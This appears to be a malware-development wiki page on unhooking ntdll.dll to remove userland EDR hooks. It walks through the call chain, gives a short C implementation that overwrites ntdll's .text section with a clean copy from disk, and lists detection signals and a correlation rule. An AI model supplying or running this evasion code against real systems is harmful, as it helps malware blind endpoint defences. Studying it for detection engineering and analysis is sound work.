Skip to content
λmaldev wiki/
pagesUnhooking ntdll
T1562.001Windowsx64C / C++

Unhooking ntdll

updated 2026-07-197 min readthehackersbrain
Authorized use only. This material is published for detection engineering, malware analysis and authorized red-team engagements. Running these techniques against systems you do not own or have written permission to test is illegal.

Overview

Userland EDR products work by patching the first bytes of syscall stubs in ntdll.dll with a jump into their own inspection routine. Because that patch lives in the process’s own address space, the process can simply undo it: map a fresh copy of ntdll from disk and copy its .text section over the patched one.

The technique is loud in exactly one place — the write to an image section — and silent everywhere else. That single artifact carries most of the detection value.

Caution.

Restoring the whole .text section also removes any hot-patch or ASLR-relocated content the loader applied. Implementations that copy blindly can destabilise the process; targeted stub-by-stub restoration is more common in mature tooling and produces the same telemetry.

The call chain

  1. 1
    CreateFile + CreateFileMapping(SEC_IMAGE)
    Map a pristine copy of ntdll.dll straight from \Windows\System32.
  2. 2
    locate .text in both copies
    Parse section headers to find the executable range in the clean and the hooked image.
  3. 3
    VirtualProtect(PAGE_EXECUTE_READWRITE)
    Make the loaded ntdll .text writable — the step every EDR watches for.
  4. 4
    memcpy(hooked, clean)
    Overwrite the hooked stubs with the on-disk bytes, removing every inline hook at once.
  5. 5
    VirtualProtect(restore)
    Put the original protection back so the section does not stand out.

Reference implementation

unhook.cC
// map a pristine ntdll straight off disk
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ,
                         FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE hMap  = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
PVOID  clean = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);

PVOID hooked = GetModuleHandleA("ntdll.dll");
PIMAGE_SECTION_HEADER text = find_section(hooked, ".text");

PVOID dst = (PBYTE)hooked + text->VirtualAddress;
PVOID src = (PBYTE)clean  + text->VirtualAddress;

DWORD old;
VirtualProtect(dst, text->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &old);
memcpy(dst, src, text->Misc.VirtualSize);          // <-- the detectable event
VirtualProtect(dst, text->Misc.VirtualSize, old, &old);

Detection

SYSMON EID 11 + 10
A file read of ntdll.dll correlated with a self-process write into its own text section.
ETW-TI
Protection change to RWX on an image section belonging to ntdll — almost never legitimate.
MEMORY SCAN
Section hash of in-memory ntdll .text matching disk in a process where the agent expects its hooks.
BEHAVIOURAL
The EDR's own telemetry going quiet for a process that is still running is itself the signal.

The correlation rule is the practical one: a handle opened to ntdll.dll on disk, followed within a short window by a ProcessAccess or protection change against the same module in memory. Neither half is interesting alone; together they are close to unambiguous.

T1562.001Direct & indirect syscallsNever touches the hooked stub instead of repairing it.
T1562.001AMSI & ETW patchingThe same write primitive, aimed at a single function rather than a whole section.
Was this page useful?edit this page ↗